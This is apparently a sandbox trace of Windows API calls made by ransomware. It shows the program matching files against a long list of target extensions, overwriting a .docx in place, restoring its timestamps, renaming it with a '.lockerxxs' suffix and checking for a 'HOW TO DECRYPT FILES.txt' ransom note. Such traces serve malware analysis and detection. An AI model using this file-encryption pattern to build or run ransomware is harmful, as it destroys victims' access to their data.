[0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.ost") returned 0 [0089.333] lstrlenA (lpString="*.ost") returned 5 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.idx") returned 0 [0089.333] lstrlenA (lpString="*.idx") returned 5 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.dbx") returned 0 [0089.333] lstrlenA (lpString="*.dbx") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.sql") returned 0 [0089.334] lstrlenA (lpString="*.sql") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.mdb") returned 0 [0089.334] lstrlenA (lpString="*.mdb") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.fdb") returned 0 [0089.334] lstrlenA (lpString="*.fdb") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.wab") returned 0 [0089.334] lstrlenA (lpString="*.wab") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.dat") returned 0 [0089.334] lstrlenA (lpString="*.dat") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.txt") returned 0 [0089.334] lstrlenA (lpString="*.txt") returned 5 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.jpeg") returned 0 [0089.334] lstrlenA (lpString="*.jpeg") returned 6 [0089.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.jpg") returned 0 [0089.334] lstrlenA (lpString="*.jpg") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.png") returned 0 [0089.335] lstrlenA (lpString="*.png") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.php") returned 0 [0089.335] lstrlenA (lpString="*.php") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.cs") returned 0 [0089.335] lstrlenA (lpString="*.cs") returned 4 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.cpp") returned 0 [0089.335] lstrlenA (lpString="*.cpp") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.rar") returned 0 [0089.335] lstrlenA (lpString="*.rar") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.zip") returned 0 [0089.335] lstrlenA (lpString="*.zip") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.html") returned 0 [0089.335] lstrlenA (lpString="*.html") returned 6 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.htm") returned 0 [0089.335] lstrlenA (lpString="*.htm") returned 5 [0089.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.xlsx") returned 0 [0089.335] lstrlenA (lpString="*.xlsx") returned 6 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.xls") returned 0 [0089.336] lstrlenA (lpString="*.xls") returned 5 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.mp4") returned 0 [0089.336] lstrlenA (lpString="*.mp4") returned 5 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.ppt") returned 0 [0089.336] lstrlenA (lpString="*.ppt") returned 5 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.pptx") returned 0 [0089.336] lstrlenA (lpString="*.pptx") returned 6 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.doc") returned 0 [0089.336] lstrlenA (lpString="*.doc") returned 5 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.dot") returned 0 [0089.336] lstrlenA (lpString="*.dot") returned 5 [0089.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.docx") returned 1 [0089.336] lstrlenA (lpString="*.docx") returned 6 [0089.336] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" [0089.336] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" [0089.336] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx." [0089.337] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx.lockerxxs" [0089.337] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\9 bfkhqgeqpky.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.337] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1590e [0089.337] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe3b06f40, dwHighDateTime=0x1d5dc21), lpLastAccessTime=0x407536*(dwLowDateTime=0xc86b83f0, dwHighDateTime=0x1d5e081), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc86b83f0, dwHighDateTime=0x1d5e081)) returned 1 [0089.337] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.338] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x158e8, lpOverlapped=0x0) returned 1 [0089.341] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx") returned="9 BfkHQGeqPky.docx" [0089.341] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.341] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x158e8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x158e8, lpOverlapped=0x0) returned 1 [0089.342] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.342] CloseHandle (hObject=0x8c) returned 1 [0089.342] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\9 bfkhqgeqpky.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\9 bfkhqgeqpky.docx.lockerxxs")) returned 1 [0089.344] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b1ee980, ftCreationTime.dwHighDateTime=0x1d5d857, ftLastAccessTime.dwLowDateTime=0x9f9984a0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x9f9984a0, ftLastWriteTime.dwHighDateTime=0x1d5e58f, nFileSizeHigh=0x0, nFileSizeLow=0xa53c, dwReserved0=0x2a000329, dwReserved1=0x4e00c4, cFileName="vYM6ld.odp", cAlternateFileName="")) returned 1 [0089.344] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.344] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vYM6ld.odp") returned -1 [0089.344] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vYM6ld.odp") returned -1 [0089.344] lstrcmpiA (lpString1="", lpString2="vYM6ld.odp") returned -1 [0089.344] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx") returned="9 BfkHQGeqPky.docx" [0089.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" [0089.344] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\") returned="" [0089.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" [0089.344] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\how to decrypt files.txt")) returned 0x20 [0089.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="vYM6ld.odp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp" [0089.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.ems") returned 0 [0089.344] lstrlenA (lpString="*.ems") returned 5 [0089.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.db") returned 0 [0089.345] lstrlenA (lpString="*.db") returned 4 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.dbf") returned 0 [0089.345] lstrlenA (lpString="*.dbf") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.myox") returned 0 [0089.345] lstrlenA (lpString="*.myox") returned 6 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.myo") returned 0 [0089.345] lstrlenA (lpString="*.myo") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qbw") returned 0 [0089.345] lstrlenA (lpString="*.qbw") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qbb") returned 0 [0089.345] lstrlenA (lpString="*.qbb") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qbm") returned 0 [0089.345] lstrlenA (lpString="*.qbm") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qbo") returned 0 [0089.345] lstrlenA (lpString="*.qbo") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qbx") returned 0 [0089.345] lstrlenA (lpString="*.qbx") returned 5 [0089.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qba") returned 0 [0089.346] lstrlenA (lpString="*.qba") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qby") returned 0 [0089.346] lstrlenA (lpString="*.qby") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qbj") returned 0 [0089.346] lstrlenA (lpString="*.qbj") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.ofx") returned 0 [0089.346] lstrlenA (lpString="*.ofx") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.qif") returned 0 [0089.346] lstrlenA (lpString="*.qif") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mye") returned 0 [0089.346] lstrlenA (lpString="*.mye") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mbox") returned 0 [0089.346] lstrlenA (lpString="*.mbox") returned 6 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.eml") returned 0 [0089.346] lstrlenA (lpString="*.eml") returned 5 [0089.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.pst") returned 0 [0089.346] lstrlenA (lpString="*.pst") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.ost") returned 0 [0089.347] lstrlenA (lpString="*.ost") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.idx") returned 0 [0089.347] lstrlenA (lpString="*.idx") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.dbx") returned 0 [0089.347] lstrlenA (lpString="*.dbx") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.sql") returned 0 [0089.347] lstrlenA (lpString="*.sql") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mdb") returned 0 [0089.347] lstrlenA (lpString="*.mdb") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.fdb") returned 0 [0089.347] lstrlenA (lpString="*.fdb") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.wab") returned 0 [0089.347] lstrlenA (lpString="*.wab") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.dat") returned 0 [0089.347] lstrlenA (lpString="*.dat") returned 5 [0089.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.txt") returned 0 [0089.348] lstrlenA (lpString="*.txt") returned 5 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.jpeg") returned 0 [0089.348] lstrlenA (lpString="*.jpeg") returned 6 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.jpg") returned 0 [0089.348] lstrlenA (lpString="*.jpg") returned 5 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.png") returned 0 [0089.348] lstrlenA (lpString="*.png") returned 5 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.php") returned 0 [0089.348] lstrlenA (lpString="*.php") returned 5 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.cs") returned 0 [0089.348] lstrlenA (lpString="*.cs") returned 4 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.cpp") returned 0 [0089.348] lstrlenA (lpString="*.cpp") returned 5 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.rar") returned 0 [0089.348] lstrlenA (lpString="*.rar") returned 5 [0089.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.zip") returned 0 [0089.349] lstrlenA (lpString="*.zip") returned 5 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.html") returned 0 [0089.349] lstrlenA (lpString="*.html") returned 6 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.htm") returned 0 [0089.349] lstrlenA (lpString="*.htm") returned 5 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.xlsx") returned 0 [0089.349] lstrlenA (lpString="*.xlsx") returned 6 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.xls") returned 0 [0089.349] lstrlenA (lpString="*.xls") returned 5 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mp4") returned 0 [0089.349] lstrlenA (lpString="*.mp4") returned 5 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.ppt") returned 0 [0089.349] lstrlenA (lpString="*.ppt") returned 5 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.pptx") returned 0 [0089.349] lstrlenA (lpString="*.pptx") returned 6 [0089.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.doc") returned 0 [0089.349] lstrlenA (lpString="*.doc") returned 5 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.dot") returned 0 [0089.350] lstrlenA (lpString="*.dot") returned 5 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.docx") returned 0 [0089.350] lstrlenA (lpString="*.docx") returned 6 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.7z") returned 0 [0089.350] lstrlenA (lpString="*.7z") returned 4 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.tar") returned 0 [0089.350] lstrlenA (lpString="*.tar") returned 5 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.bz2") returned 0 [0089.350] lstrlenA (lpString="*.bz2") returned 5 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.gz") returned 0 [0089.350] lstrlenA (lpString="*.gz") returned 4 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mkv") returned 0 [0089.350] lstrlenA (lpString="*.mkv") returned 5 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.eml") returned 0 [0089.350] lstrlenA (lpString="*.eml") returned 5 [0089.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.msg") returned 0 [0089.351] lstrlenA (lpString="*.msg") returned 5 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.edb") returned 0 [0089.351] lstrlenA (lpString="*.edb") returned 5 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.accdb") returned 0 [0089.351] lstrlenA (lpString="*.accdb") returned 7 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.odb") returned 0 [0089.351] lstrlenA (lpString="*.odb") returned 5 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 